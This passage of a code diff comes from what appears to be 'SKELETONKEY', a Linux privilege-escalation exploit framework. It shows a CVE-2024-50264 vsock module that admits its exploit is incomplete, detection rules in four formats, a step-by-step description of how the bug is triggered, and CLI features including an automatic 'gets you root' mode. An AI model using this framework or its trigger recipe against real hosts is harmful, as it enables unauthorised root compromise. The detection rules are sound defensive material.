" (a) @v4bel + @qwerty kernelCTF (BPF JIT spray + SLUBStick)\n"
|
||||
" (b) Alexander Popov / PT SWARM (msg_msg arb R/W)\n"
|
||||
" Neither chain is bundled here (per verified-vs-claimed —\n"
|
||||
" requires a portable arb-write callback for the finisher).\n"
|
||||
" Returning EXPLOIT_FAIL honestly.\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* ---- detection rules ------------------------------------------------ */
|
||||
|
||||
static const char vsock_auditd[] =
|
||||
"# vsock_uaf CVE-2024-50264 — auditd detection rules\n"
|
||||
"# AF_VSOCK socket() (a0=40) + SysV IPC msgsnd burst + POSIX timer\n"
|
||||
"# (timer_create) is the canonical trigger shape.\n"
|
||||
"-a always,exit -F arch=b64 -S socket -F a0=40 -k skeletonkey-vsock-uaf\n";
|
||||
|
||||
static const char vsock_sigma[] =
|
||||
"title: Possible CVE-2024-50264 AF_VSOCK connect-race UAF\n"
|
||||
"id: 0c5b1e90-skeletonkey-vsock-uaf\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects AF_VSOCK socket creation + msgsnd kmalloc-96 spray\n"
|
||||
" shape from a non-root process. VSOCK is rare outside\n"
|
||||
" KVM/QEMU host-guest channels; non-root usage on a bare-metal\n"
|
||||
" host with msg_msg grooming alongside is the Pwnie-Award\n"
|
||||
" Pwn2Own exploit trigger.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" vs: {type: 'SYSCALL', syscall: 'socket', a0: 40}\n"
|
||||
" groom: {type: 'SYSCALL', syscall: 'msgsnd'}\n"
|
||||
" condition: vs and groom\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2024.50264]\n";
|
||||
|
||||
static const char vsock_yara[] =
|
||||
"rule vsock_uaf_cve_2024_50264 : cve_2024_50264 kernel_uaf {\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2024-50264\"\n"
|
||||
" description = \"SKELETONKEY vsock_uaf race-driver tag (Pwnie 2025 winner)\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $tag = \"SKK_VSOCK\" ascii\n"
|
||||
" condition:\n"
|
||||
" $tag\n"
|
||||
"}\n";
|
||||
|
||||
static const char vsock_falco[] =
|
||||
"- rule: AF_VSOCK socket() + msgsnd spray (vsock UAF race)\n"
|
||||
" desc: |\n"
|
||||
" Non-root process creates an AF_VSOCK socket then drives\n"
|
||||
" msgsnd burst for kmalloc-96 spray. AF_VSOCK on bare-metal\n"
|
||||
" Linux is rare; the combination with msgsnd grooming is the\n"
|
||||
" Pwnie-Award-winning exploit shape.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = socket and evt.arg.domain = AF_VSOCK and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" AF_VSOCK socket from non-root (user=%user.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [network, mitre_privilege_escalation, T1068, cve.2024.50264]\n";
|
||||
|
||||
const struct skeletonkey_module vsock_uaf_module = {
|
||||
.name = "vsock_uaf",
|
||||
.cve = "CVE-2024-50264",
|
||||
.summary = "AF_VSOCK connect-race UAF (kmalloc-96) — Pwn2Own 2024 / Pwnie 2025",
|
||||
.family = "vsock",
|
||||
.kernel_range = "Linux < 6.11 / 6.6.59 / 6.1.115 / 5.15.170 / 5.10.228 with vsock loaded",
|
||||
.detect = vsock_uaf_detect,
|
||||
.exploit = vsock_uaf_exploit,
|
||||
.mitigate = NULL, /* mitigation: upgrade kernel; OR blacklist vsock module */
|
||||
.cleanup = NULL,
|
||||
.detect_auditd = vsock_auditd,
|
||||
.detect_sigma = vsock_sigma,
|
||||
.detect_yara = vsock_yara,
|
||||
.detect_falco = vsock_falco,
|
||||
.opsec_notes = "Opens AF_VSOCK socket (family 40 — unusual on bare-metal Linux; autoloaded on KVM/QEMU guests). Arms a POSIX timer to deliver SIGUSR1 within ~10ms; calls connect() to a bogus VSOCK address (cid=0xdead, port=0xbeef); signal interrupts the connect and tears down virtio_vsock_sock while connect-completion still writes to it → UAF on the kmalloc-96 slab. Sysv msgsnd spray (tag 'SKK_VSOCK') refills the freed slot with attacker-controlled bytes. The bug works as a PLAIN UNPRIVILEGED USER — no userns, no CAP_*, no special groups. dmesg may show 'KASAN: use-after-free in virtio_vsock_'. Audit-visible via socket(AF_VSOCK) + msgsnd + timer_create from a single process — unusual combination outside the exploit. No persistent file artifacts.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_vsock_uaf(void)
|
||||
{
|
||||
skeletonkey_register(&vsock_uaf_module);
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
#ifndef VSOCK_UAF_SKELETONKEY_MODULES_H
|
||||
#define VSOCK_UAF_SKELETONKEY_MODULES_H
|
||||
#include "../../core/module.h"
|
||||
extern const struct skeletonkey_module vsock_uaf_module;
|
||||
#endif
|
||||
+344
-36
@@ -19,6 +19,8 @@
|
||||
#include "core/registry.h"
|
||||
#include "core/offsets.h"
|
||||
#include "core/host.h"
|
||||
#include "core/cve_metadata.h"
|
||||
#include "core/verifications.h"
|
||||
|
||||
#include <time.h>
|
||||
#include <sys/utsname.h>
|
||||
@@ -33,7 +35,7 @@
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#define SKELETONKEY_VERSION "0.6.0"
|
||||
#define SKELETONKEY_VERSION "0.9.3"
|
||||
|
||||
static const char BANNER[] =
|
||||
"\n"
|
||||
@@ -56,6 +58,10 @@ static void usage(const char *prog)
|
||||
" (combine with --format=auditd|sigma|yara|falco)\n"
|
||||
" --module-info <name> full metadata + rule bodies for one module\n"
|
||||
" (combine with --json for machine-readable output)\n"
|
||||
" --explain <name> one-page operator briefing: CVE / CWE / ATT&CK /\n"
|
||||
" KEV, host fingerprint, live detect() trace + verdict,\n"
|
||||
" OPSEC footprint, detection coverage, mitigation.\n"
|
||||
" Useful for triage tickets and SOC analyst handoffs.\n"
|
||||
" --auto scan host, rank vulnerable modules by safety, run the\n"
|
||||
" safest exploit. Requires --i-know. The 'one command\n"
|
||||
" that gets you root' mode — picks structural exploits\n"
|
||||
@@ -109,6 +115,7 @@ enum mode {
|
||||
MODE_DUMP_OFFSETS,
|
||||
MODE_HELP,
|
||||
MODE_VERSION,
|
||||
MODE_EXPLAIN,
|
||||
};
|
||||
|
||||
enum detect_format {
|
||||
@@ -179,6 +186,68 @@ static void emit_module_json(const struct skeletonkey_module *m, bool include_ru
|
||||
m->detect_sigma ? "true" : "false",
|
||||
m->detect_yara ? "true" : "false",
|
||||
m->detect_falco ? "true" : "false");
|
||||
|
||||
/* CVE-keyed triage metadata (CWE, ATT&CK, KEV). Sourced from CISA
|
||||
* + NVD via tools/refresh-cve-metadata.py; lookup is O(corpus). */
|
||||
const struct cve_metadata *md = cve_metadata_lookup(m->cve);
|
||||
if (md) {
|
||||
char *cwe = json_escape(md->cwe);
|
||||
char *tech = json_escape(md->attack_technique);
|
||||
char *sub = json_escape(md->attack_subtechnique);
|
||||
char *kdate = json_escape(md->kev_date_added);
|
||||
fprintf(stdout,
|
||||
",\"triage\":{\"cwe\":%s%s%s,"
|
||||
"\"attack_technique\":%s%s%s,"
|
||||
"\"attack_subtechnique\":%s%s%s,"
|
||||
"\"in_kev\":%s,"
|
||||
"\"kev_date_added\":\"%s\"}",
|
||||
cwe ? "\"" : "", cwe ? cwe : "null", cwe ? "\"" : "",
|
||||
tech ? "\"" : "", tech ? tech : "null", tech ? "\"" : "",
|
||||
sub ? "\"" : "", sub ? sub : "null", sub ? "\"" : "",
|
||||
md->in_kev ? "true" : "false",
|
||||
kdate ? kdate : "");
|
||||
free(cwe); free(tech); free(sub); free(kdate);
|
||||
}
|
||||
|
||||
/* Per-module OPSEC notes — telemetry footprint of this exploit. */
|
||||
if (m->opsec_notes) {
|
||||
char *op = json_escape(m->opsec_notes);
|
||||
fprintf(stdout, ",\"opsec_notes\":\"%s\"", op ? op : "");
|
||||
free(op);
|
||||
}
|
||||
|
||||
/* Architecture support for the exploit body. */
|
||||
if (m->arch_support) {
|
||||
char *a = json_escape(m->arch_support);
|
||||
fprintf(stdout, ",\"arch_support\":\"%s\"", a ? a : "");
|
||||
free(a);
|
||||
}
|
||||
|
||||
/* Empirical verification records: (distro, kernel, date) tuples
|
||||
* where the module's detect() was confirmed against a real target. */
|
||||
size_t nv = 0;
|
||||
const struct verification_record *vrs = verifications_for_module(m->name, &nv);
|
||||
if (nv > 0) {
|
||||
fprintf(stdout, ",\"verified_on\":[");
|
||||
for (size_t i = 0; i < nv; i++) {
|
||||
char *vat = json_escape(vrs[i].verified_at);
|
||||
char *vkr = json_escape(vrs[i].host_kernel);
|
||||
char *vds = json_escape(vrs[i].host_distro);
|
||||
char *vbx = json_escape(vrs[i].vm_box);
|
||||
char *vst = json_escape(vrs[i].status);
|
||||
char *vac = json_escape(vrs[i].actual_detect);
|
||||
fprintf(stdout,
|
||||
"%s{\"verified_at\":\"%s\",\"host_kernel\":\"%s\","
|
||||
"\"host_distro\":\"%s\",\"vm_box\":\"%s\","
|
||||
"\"actual_detect\":\"%s\",\"status\":\"%s\"}",
|
||||
i ? "," : "",
|
||||
vat ? vat : "", vkr ? vkr : "", vds ? vds : "",
|
||||
vbx ? vbx : "", vac ? vac : "", vst ? vst : "");
|
||||
free(vat); free(vkr); free(vds); free(vbx); free(vst); free(vac);
|
||||
}
|
||||
fprintf(stdout, "]");
|
||||
}
|
||||
|
||||
if (include_rules) {
|
||||
/* Embed the actual rule text. Useful for --module-info. */
|
||||
char *aud = json_escape(m->detect_auditd);
|
||||
@@ -210,15 +279,43 @@ static int cmd_list(const struct skeletonkey_ctx *ctx)
|
||||
fprintf(stdout, "]}\n");
|
||||
return 0;
|
||||
}
|
||||
fprintf(stdout, "%-20s %-18s %-25s %s\n",
|
||||
"NAME", "CVE", "FAMILY", "SUMMARY");
|
||||
fprintf(stdout, "%-20s %-18s %-25s %s\n",
|
||||
"----", "---", "------", "-------");
|
||||
/* The ARCH column shows where exploit() is known/expected to work:
|
||||
* "any" → userspace or arch-agnostic kernel primitive
|
||||
* "x64" → x86_64 only (entrybleed)
|
||||
* "x64?" → x86_64 verified, arm64 untested (the honest default
|
||||
* for kernel modules that haven't been arm64-confirmed) */
|
||||
fprintf(stdout, "%-20s %-18s %-3s %-3s %-5s %-25s %s\n",
|
||||
"NAME", "CVE", "KEV", "VFY", "ARCH", "FAMILY", "SUMMARY");
|
||||
fprintf(stdout, "%-20s %-18s %-3s %-3s %-5s %-25s %s\n",
|
||||
"----", "---", "---", "---", "----", "------", "-------");
|
||||
size_t n_kev = 0, n_vfy = 0, n_any = 0;
|
||||
for (size_t i = 0; i < n; i++) {
|
||||
const struct skeletonkey_module *m = skeletonkey_module_at(i);
|
||||
fprintf(stdout, "%-20s %-18s %-25s %s\n",
|
||||
m->name, m->cve, m->family, m->summary);
|
||||
const struct cve_metadata *md = cve_metadata_lookup(m->cve);
|
||||
bool in_kev = md && md->in_kev;
|
||||
bool verified = verifications_module_has_match(m->name);
|
||||
const char *arch_abbr = "?";
|
||||
if (m->arch_support) {
|
||||
if (strcmp(m->arch_support, "any") == 0) { arch_abbr = "any"; n_any++; }
|
||||
else if (strcmp(m->arch_support, "x86_64") == 0) { arch_abbr = "x64"; }
|
||||
else { arch_abbr = "x64?"; }
|
||||
}
|
||||
if (in_kev) n_kev++;
|
||||
if (verified) n_vfy++;
|
||||
fprintf(stdout, "%-20s %-18s %-3s %-3s %-5s %-25s %s\n",
|
||||
m->name, m->cve,
|
||||
in_kev ? "★" : "",
|
||||
verified ? "✓" : "",
|
||||
arch_abbr,
|
||||
m->family, m->summary);
|
||||
}
|
||||
fprintf(stdout, "\n%zu modules registered · %zu in CISA KEV (★) · "
|
||||
"%zu empirically verified in real VMs (✓) · "
|
||||
"%zu arch-independent (any)\n",
|
||||
n, n_kev, n_vfy, n_any);
|
||||
fprintf(stdout, "ARCH key: 'any' = userspace or arch-agnostic; "
|
||||
"'x64' = x86_64 only; 'x64?' = x86_64 verified, "
|
||||
"arm64 untested\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -567,25 +664,257 @@ static int cmd_module_info(const char *name, const struct skeletonkey_ctx *ctx)
|
||||
fprintf(stdout, "family: %s\n", m->family);
|
||||
fprintf(stdout, "kernel_range: %s\n", m->kernel_range);
|
||||
fprintf(stdout, "summary: %s\n", m->summary);
|
||||
|
||||
/* Triage metadata sourced from CISA KEV + NVD (lookup keyed by
|
||||
* m->cve). Only printed when present; mapping for older or
|
||||
* recently-disclosed CVEs may be partial. */
|
||||
const struct cve_metadata *md = cve_metadata_lookup(m->cve);
|
||||
if (md) {
|
||||
if (md->cwe)
|
||||
fprintf(stdout, "cwe: %s\n", md->cwe);
|
||||
if (md->attack_technique)
|
||||
fprintf(stdout, "att&ck: %s%s%s\n",
|
||||
md->attack_technique,
|
||||
md->attack_subtechnique ? " / " : "",
|
||||
md->attack_subtechnique ? md->attack_subtechnique : "");
|
||||
if (md->in_kev)
|
||||
fprintf(stdout, "in CISA KEV: YES (added %s)\n",
|
||||
md->kev_date_added);
|
||||
else
|
||||
fprintf(stdout, "in CISA KEV: no\n");
|
||||
}
|
||||
|
||||
fprintf(stdout, "operations: %s%s%s%s\n",
|
||||
m->detect ? "detect " : "",
|
||||
m->exploit ? "exploit " : "",
|
||||
m->mitigate ? "mitigate " : "",
|
||||
m->cleanup ? "cleanup " : "");
|
||||
if (m->arch_support)
|
||||
fprintf(stdout, "arch support: %s\n", m->arch_support);
|
||||
fprintf(stdout, "detect rules: %s%s%s%s\n",
|
||||
m->detect_auditd ? "auditd " : "",
|
||||
m->detect_sigma ? "sigma " : "",
|
||||
m->detect_yara ? "yara " : "",
|
||||
m->detect_falco ? "falco " : "");
|
||||
|
||||
/* Verification records — VM-confirmed detect() verdicts. */
|
||||
{
|
||||
size_t nv = 0;
|
||||
const struct verification_record *vrs =
|
||||
verifications_for_module(m->name, &nv);
|
||||
if (nv > 0) {
|
||||
fprintf(stdout, "\n--- verified on ---\n");
|
||||
for (size_t i = 0; i < nv; i++) {
|
||||
const char *icon = (vrs[i].status &&
|
||||
strcmp(vrs[i].status, "match") == 0) ? "✓" : "✗";
|
||||
fprintf(stdout, " %s %s %s (kernel %s; %s; status: %s)\n",
|
||||
icon, vrs[i].verified_at,
|
||||
vrs[i].host_distro, vrs[i].host_kernel,
|
||||
vrs[i].vm_box, vrs[i].status);
|
||||
}
|
||||
} else {
|
||||
fprintf(stdout, "\n--- verified on ---\n"
|
||||
" (none yet — run tools/verify-vm/verify.sh %s to add one)\n",
|
||||
m->name);
|
||||
}
|
||||
}
|
||||
|
||||
if (m->opsec_notes) {
|
||||
fprintf(stdout, "\n--- opsec notes ---\n%s\n", m->opsec_notes);
|
||||
}
|
||||
if (m->detect_auditd) {
|
||||
fprintf(stdout, "\n--- auditd rules ---\n%s", m->detect_auditd);
|
||||
}
|
||||
if (m->detect_sigma) {
|
||||
fprintf(stdout, "\n--- sigma rule ---\n%s", m->detect_sigma);
|
||||
}
|
||||
if (m->detect_yara) {
|
||||
fprintf(stdout, "\n--- yara rule ---\n%s", m->detect_yara);
|
||||
}
|
||||
if (m->detect_falco) {
|
||||
fprintf(stdout, "\n--- falco rule ---\n%s", m->detect_falco);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* Word-wrap a long paragraph at `width` columns, indenting every line by
|
||||
* `indent` spaces. Writes to stdout. Used by --explain to render the
|
||||
* .opsec_notes paragraph (typically 400-700 chars). */
|
||||
static void print_wrapped(const char *text, int indent, int width)
|
||||
{
|
||||
int col = indent;
|
||||
for (int i = 0; i < indent; i++) fputc(' ', stdout);
|
||||
const char *p = text;
|
||||
while (*p) {
|
||||
const char *word_start = p;
|
||||
while (*p && *p != ' ') p++;
|
||||
size_t word_len = (size_t)(p - word_start);
|
||||
if (col + (int)word_len > width && col > indent) {
|
||||
fputc('\n', stdout);
|
||||
for (int i = 0; i < indent; i++) fputc(' ', stdout);
|
||||
col = indent;
|
||||
}
|
||||
fwrite(word_start, 1, word_len, stdout);
|
||||
col += (int)word_len;
|
||||
while (*p == ' ') {
|
||||
if (col + 1 > width) {
|
||||
fputc('\n', stdout);
|
||||
for (int i = 0; i < indent; i++) fputc(' ', stdout);
|
||||
col = indent;
|
||||
p++;
|
||||
break;
|
||||
}
|
||||
fputc(' ', stdout);
|
||||
col++;
|
||||
p++;
|
||||
}
|
||||
}
|
||||
fputc('\n', stdout);
|
||||
}
|
||||
|
||||
/* --explain MODULE — single-page operator briefing. Combines metadata
|
||||
* (CVE / CWE / ATT&CK / KEV), host fingerprint (kernel / arch / userns
|
||||
* gates), live detect() trace (the gates the module just walked, what
|
||||
* the verdict was and why), OPSEC footprint (telemetry the exploit
|
||||
* leaves), detection coverage (which formats have rules), and mitigation
|
||||
* guidance. The intended audience is anyone who wants ONE page that
|
||||
* answers "should we worry about this CVE here, what would patch it,
|
||||
* and what would the SOC see if someone tried it".
|
||||
*
|
||||
* detect() writes its reasoning to stderr (the normal verbose path);
|
||||
* --explain's structured framing goes to stdout. Redirect 2>&1 to merge. */
|
||||
static int cmd_explain(const char *name, const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
const struct skeletonkey_module *m = skeletonkey_module_find(name);
|
||||
if (!m) {
|
||||
fprintf(stderr, "[-] no module '%s'. Try --list.\n", name);
|
||||
return 1;
|
||||
}
|
||||
const struct cve_metadata *md = cve_metadata_lookup(m->cve);
|
||||
|
||||
/* ── header ──────────────────────────────────────────────── */
|
||||
fprintf(stdout, "\n");
|
||||
fprintf(stdout, "════════════════════════════════════════════════════\n");
|
||||
fprintf(stdout, " %s %s\n", m->name, m->cve);
|
||||
fprintf(stdout, "════════════════════════════════════════════════════\n");
|
||||
fprintf(stdout, " %s\n", m->summary);
|
||||
|
||||
/* ── weakness ────────────────────────────────────────────── */
|
||||
fprintf(stdout, "\nWEAKNESS\n");
|
||||
if (md && md->cwe)
|
||||
fprintf(stdout, " %s\n", md->cwe);
|
||||
else
|
||||
fprintf(stdout, " (no NVD CWE mapping yet)\n");
|
||||
if (md && md->attack_technique)
|
||||
fprintf(stdout, " MITRE ATT&CK: %s%s%s\n",
|
||||
md->attack_technique,
|
||||
md->attack_subtechnique ? " / " : "",
|
||||
md->attack_subtechnique ? md->attack_subtechnique : "");
|
||||
|
||||
/* ── threat-intel context ────────────────────────────────── */
|
||||
fprintf(stdout, "\nTHREAT INTEL\n");
|
||||
if (md && md->in_kev)
|
||||
fprintf(stdout, " ✓ In CISA Known Exploited Vulnerabilities catalog "
|
||||
"(added %s)\n", md->kev_date_added);
|
||||
else
|
||||
fprintf(stdout, " - Not in CISA KEV (no in-the-wild exploitation "
|
||||
"observed by CISA)\n");
|
||||
fprintf(stdout, " Affected: %s\n", m->kernel_range);
|
||||
|
||||
/* ── host fingerprint summary ────────────────────────────── */
|
||||
if (ctx->host) {
|
||||
fprintf(stdout, "\nHOST FINGERPRINT\n");
|
||||
if (ctx->host->kernel.release && ctx->host->kernel.release[0])
|
||||
fprintf(stdout, " kernel: %s (%s)\n",
|
||||
ctx->host->kernel.release, ctx->host->arch);
|
||||
if (ctx->host->distro_pretty[0])
|
||||
fprintf(stdout, " distro: %s\n", ctx->host->distro_pretty);
|
||||
fprintf(stdout, " unpriv userns: %s\n",
|
||||
ctx->host->unprivileged_userns_allowed ? "ALLOWED" : "blocked");
|
||||
if (ctx->host->apparmor_restrict_userns)
|
||||
fprintf(stdout, " apparmor: restricts unprivileged userns\n");
|
||||
if (ctx->host->selinux_enforcing)
|
||||
fprintf(stdout, " selinux: enforcing\n");
|
||||
if (ctx->host->kernel_lockdown_active)
|
||||
fprintf(stdout, " lockdown: active\n");
|
||||
}
|
||||
|
||||
/* ── live detect trace ───────────────────────────────────── */
|
||||
fprintf(stdout, "\nDETECT() TRACE (live; reads ctx->host, fires gates)\n");
|
||||
fflush(stdout);
|
||||
skeletonkey_result_t r = SKELETONKEY_TEST_ERROR;
|
||||
if (m->detect) {
|
||||
struct skeletonkey_ctx dctx = *ctx;
|
||||
dctx.json = false; /* keep verbose stderr reasoning on */
|
||||
r = m->detect(&dctx);
|
||||
fflush(stderr);
|
||||
} else {
|
||||
fprintf(stdout, " (this module has no detect() — no probe to run)\n");
|
||||
}
|
||||
|
||||
fprintf(stdout, "\nVERDICT: %s\n", result_str(r));
|
||||
/* one-line interpretation for the operator */
|
||||
switch (r) {
|
||||
case SKELETONKEY_OK:
|
||||
fprintf(stdout, " -> this host is patched / not applicable / immune.\n");
|
||||
break;
|
||||
case SKELETONKEY_VULNERABLE:
|
||||
fprintf(stdout, " -> bug is reachable. The OPSEC section below shows what a "
|
||||
"successful exploit() would leave.\n");
|
||||
break;
|
||||
case SKELETONKEY_PRECOND_FAIL:
|
||||
fprintf(stdout, " -> a precondition check rejected this host: wrong "
|
||||
"OS / arch, kernel out of range, a host-side gate "
|
||||
"(userns / apparmor / selinux), or a missing carrier "
|
||||
"file. See trace above for which check fired.\n");
|
||||
break;
|
||||
case SKELETONKEY_TEST_ERROR:
|
||||
fprintf(stdout, " -> probe machinery failed; verdict unknown.\n");
|
||||
break;
|
||||
default: break;
|
||||
}
|
||||
|
||||
/* ── OPSEC footprint ─────────────────────────────────────── */
|
||||
if (m->opsec_notes) {
|
||||
fprintf(stdout, "\nOPSEC FOOTPRINT (what exploit() leaves on this host)\n");
|
||||
print_wrapped(m->opsec_notes, 2, 76);
|
||||
}
|
||||
|
||||
/* ── empirical verification records ────────────────────────── */
|
||||
{
|
||||
size_t nv = 0;
|
||||
const struct verification_record *vrs =
|
||||
verifications_for_module(m->name, &nv);
|
||||
fprintf(stdout, "\nVERIFIED ON (real-VM detect() confirmations)\n");
|
||||
if (nv == 0) {
|
||||
fprintf(stdout, " (none yet — run tools/verify-vm/verify.sh %s)\n",
|
||||
m->name);
|
||||
} else {
|
||||
for (size_t i = 0; i < nv; i++) {
|
||||
const char *icon = (vrs[i].status &&
|
||||
strcmp(vrs[i].status, "match") == 0) ? "✓" : "✗";
|
||||
fprintf(stdout, " %s %s %s — kernel %s (%s)\n",
|
||||
icon, vrs[i].verified_at,
|
||||
vrs[i].host_distro, vrs[i].host_kernel,
|
||||
vrs[i].status);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* ── detection coverage matrix ───────────────────────────── */
|
||||
fprintf(stdout, "\nDETECTION COVERAGE (rules embedded in this binary)\n");
|
||||
fprintf(stdout, " %s auditd %s sigma %s yara %s falco\n",
|
||||
m->detect_auditd ? "✓" : "·",
|
||||
m->detect_sigma ? "✓" : "·",
|
||||
m->detect_yara ? "✓" : "·",
|
||||
m->detect_falco ? "✓" : "·");
|
||||
fprintf(stdout, " (see skeletonkey --module-info %s for rule bodies,\n"
|
||||
" or skeletonkey --detect-rules --format=auditd for the full corpus)\n",
|
||||
m->name);
|
||||
|
||||
return (int)r;
|
||||
}
|
||||
|
||||
static int cmd_scan(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
int worst = 0;
|
||||
@@ -1035,35 +1364,11 @@ static int cmd_one(const struct skeletonkey_module *m, const char *op,
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
/* Bring up the module registry. As new families land, add their
|
||||
* register_* call here. */
|
||||
skeletonkey_register_copy_fail_family();
|
||||
skeletonkey_register_dirty_pipe();
|
||||
skeletonkey_register_entrybleed();
|
||||
skeletonkey_register_pwnkit();
|
||||
skeletonkey_register_nf_tables();
|
||||
skeletonkey_register_overlayfs();
|
||||
skeletonkey_register_cls_route4();
|
||||
skeletonkey_register_dirty_cow();
|
||||
skeletonkey_register_ptrace_traceme();
|
||||
skeletonkey_register_netfilter_xtcompat();
|
||||
skeletonkey_register_af_packet();
|
||||
skeletonkey_register_fuse_legacy();
|
||||
skeletonkey_register_stackrot();
|
||||
skeletonkey_register_af_packet2();
|
||||
skeletonkey_register_cgroup_release_agent();
|
||||
skeletonkey_register_overlayfs_setuid();
|
||||
skeletonkey_register_nft_set_uaf();
|
||||
skeletonkey_register_af_unix_gc();
|
||||
skeletonkey_register_nft_fwd_dup();
|
||||
skeletonkey_register_nft_payload();
|
||||
skeletonkey_register_sudo_samedit();
|
||||
skeletonkey_register_sequoia();
|
||||
skeletonkey_register_sudoedit_editor();
|
||||
skeletonkey_register_vmwgfx();
|
||||
skeletonkey_register_dirtydecrypt();
|
||||
skeletonkey_register_fragnesia();
|
||||
skeletonkey_register_pack2theroot();
|
||||
/* Bring up the module registry. New module families register
|
||||
* themselves via skeletonkey_register_all_modules() in
|
||||
* core/registry.c — add the new register_*() call there so the
|
||||
* test binary picks it up automatically. */
|
||||
skeletonkey_register_all_modules();
|
||||
|
||||
enum mode mode = MODE_SCAN;
|
||||
struct skeletonkey_ctx ctx = {0};
|
||||
@@ -1096,6 +1401,7 @@ int main(int argc, char **argv)
|
||||
{"no-color", no_argument, 0, 5 },
|
||||
{"full-chain", no_argument, 0, 7 },
|
||||
{"dry-run", no_argument, 0, 10 },
|
||||
{"explain", required_argument, 0, 11 },
|
||||
{"version", no_argument, 0, 'V'},
|
||||
{"help", no_argument, 0, 'h'},
|
||||
{0, 0, 0, 0}
|
||||
@@ -1121,6 +1427,7 @@ int main(int argc, char **argv)
|
||||
case 8 : mode = MODE_DUMP_OFFSETS; break;
|
||||
case 9 : mode = MODE_AUTO; ctx.authorized = i_know ? true : ctx.authorized; break;
|
||||
case 10 : ctx.dry_run = true; break;
|
||||
case 11 : mode = MODE_EXPLAIN; target = optarg; break;
|
||||
case 6 :
|
||||
if (strcmp(optarg, "auditd") == 0) dr_fmt = FMT_AUDITD;
|
||||
else if (strcmp(optarg, "sigma") == 0) dr_fmt = FMT_SIGMA;
|
||||
@@ -1145,6 +1452,7 @@ int main(int argc, char **argv)
|
||||
if (mode == MODE_SCAN) return cmd_scan(&ctx);
|
||||
if (mode == MODE_LIST) return cmd_list(&ctx);
|
||||
if (mode == MODE_MODULE_INFO) return cmd_module_info(target, &ctx);
|
||||
if (mode == MODE_EXPLAIN) return cmd_explain(target, &ctx);
|
||||
if (mode == MODE_DETECT_RULES) return cmd_detect_rules(dr_fmt);
|
||||
if (mode == MODE_AUDIT) return cmd_audit(&ctx);
|
||||
if (mode == MODE_AUTO) return cmd_auto(&ctx);
|
||||
|
||||
+280
-3
@@ -24,6 +24,7 @@
|
||||
|
||||
#include "../core/module.h"
|
||||
#include "../core/host.h"
|
||||
#include "../core/registry.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@@ -33,6 +34,7 @@ extern const struct skeletonkey_module dirtydecrypt_module;
|
||||
extern const struct skeletonkey_module fragnesia_module;
|
||||
extern const struct skeletonkey_module pack2theroot_module;
|
||||
extern const struct skeletonkey_module overlayfs_module;
|
||||
extern const struct skeletonkey_module entrybleed_module;
|
||||
extern const struct skeletonkey_module dirty_pipe_module;
|
||||
extern const struct skeletonkey_module dirty_cow_module;
|
||||
extern const struct skeletonkey_module ptrace_traceme_module;
|
||||
@@ -58,10 +60,35 @@ extern const struct skeletonkey_module dirty_frag_rxrpc_module;
|
||||
extern const struct skeletonkey_module sudo_samedit_module;
|
||||
extern const struct skeletonkey_module sudoedit_editor_module;
|
||||
extern const struct skeletonkey_module pwnkit_module;
|
||||
extern const struct skeletonkey_module sudo_chwoot_module;
|
||||
extern const struct skeletonkey_module udisks_libblockdev_module;
|
||||
extern const struct skeletonkey_module pintheft_module;
|
||||
extern const struct skeletonkey_module mutagen_astronomy_module;
|
||||
extern const struct skeletonkey_module sudo_runas_neg1_module;
|
||||
extern const struct skeletonkey_module tioscpgrp_module;
|
||||
extern const struct skeletonkey_module vsock_uaf_module;
|
||||
extern const struct skeletonkey_module nft_pipapo_module;
|
||||
|
||||
static int g_pass = 0;
|
||||
static int g_fail = 0;
|
||||
|
||||
/* Record which modules at least one test row touched, so the harness
|
||||
* can print a "modules without direct coverage" warning at the end.
|
||||
* Linear append + scan is fine; we have <50 modules. The list is
|
||||
* static-sized at SKELETONKEY_MAX_TESTED_MODULES; bump if we ever
|
||||
* exceed it. */
|
||||
#define SKELETONKEY_MAX_TESTED_MODULES 128
|
||||
static const char *g_tested_modules[SKELETONKEY_MAX_TESTED_MODULES];
|
||||
static size_t g_tested_count = 0;
|
||||
|
||||
static void mark_tested(const char *name)
|
||||
{
|
||||
for (size_t i = 0; i < g_tested_count; i++)
|
||||
if (strcmp(g_tested_modules[i], name) == 0) return;
|
||||
if (g_tested_count < SKELETONKEY_MAX_TESTED_MODULES)
|
||||
g_tested_modules[g_tested_count++] = name;
|
||||
}
|
||||
|
||||
static const char *result_str(skeletonkey_result_t r)
|
||||
{
|
||||
switch (r) {
|
||||
@@ -89,6 +116,7 @@ static void run_one(const char *test_name,
|
||||
ctx.json = true; /* silence per-module log lines */
|
||||
|
||||
skeletonkey_result_t got = m->detect(&ctx);
|
||||
mark_tested(m->name);
|
||||
if (got == want) {
|
||||
printf("[+] PASS %-40s %s → %s\n",
|
||||
test_name, m->name, result_str(got));
|
||||
@@ -102,6 +130,31 @@ static void run_one(const char *test_name,
|
||||
}
|
||||
}
|
||||
|
||||
/* mk_host: derive a fingerprint from a base + a kernel override.
|
||||
*
|
||||
* The most common new-test shape is "I want fingerprint X but with a
|
||||
* specific (major, minor, patch) — to nail a backport-boundary or
|
||||
* predates-the-bug case". Doing this with a fresh struct literal each
|
||||
* time obscures the *one* thing that's different. mk_host() does the
|
||||
* copy + overlay, named release string included.
|
||||
*
|
||||
